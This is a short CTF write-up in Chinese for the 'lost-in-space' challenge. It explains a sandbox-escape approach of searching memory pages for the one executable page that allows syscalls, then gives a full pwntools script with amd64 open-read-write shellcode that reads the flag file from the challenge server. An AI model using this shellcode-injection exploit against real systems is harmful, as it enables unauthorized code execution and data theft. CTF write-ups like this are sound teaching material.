lost-in-space (11 solves)
index为200的页没有被mprotect调整权限,syscall指令被沙箱限制在这个页内执行,编写shellcode搜索出这个地址即可
因为是在不规则图(存在两条有向边指向同一个点的情况和环之类的)内搜索,直接进行 深搜/广搜 的效率会很低并且有可能会出现死循环(一直在一个环内的点循环搜索),所以在搜索过的页面上做个标记可以提高成功率,但比赛时懒得写了,直接广搜多跑几次也能通(
还有就是最后在搜索出地址可以执行syscall后,直接执行 execve("/bin/sh", 0, 0)
会崩溃(猜测原因是程序内munmap掉了太多地址,本来合法的地址也变成了非法,sh进程里对这些munmap的非法地址进行了读写操作导致崩溃)。后面换成orw的shellcode就能正常读取flag了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
io = remote('lost-in-space.ctf.maplebacon.org', 1337) context.arch = 'amd64'
sd = lambda x : io.send(x) ia = lambda : io.interactive()
code = ''' mov rsp, rdx sub rsp, 0x10 sub rdx, 0x800
loop: add rdx, 8 cmp qword ptr[rdx], 0 je next_loop mov rcx, [rdx] mov r8, rsp and r8, 0xfff jz add_rsp push rcx cmp byte ptr[rcx], 1 jne loop je success
next_loop: pop rdx jmp loop
add_rsp: add rsp, 0x500 jmp loop
success: add rcx, 0x800 mov qword ptr[rcx], 0x50f mov qword ptr[rcx+2], 0xc3 mov rsp, rcx add rsp, 0x500
mov rdx, 0x7478742e67616c66 push rdx mov rdi, rsp xor rsi, rsi push 2 pop rax call rcx sub rcx, 2
mov rdi, rax push rcx pop rsi sub rsi, 0x100 push 0x50 pop rdx xor rax, rax call rcx sub rcx, 2
push 1 pop rdi push 1 pop rax call rcx sub rcx, 2 ''' code = asm(code) sd(code) ia()
|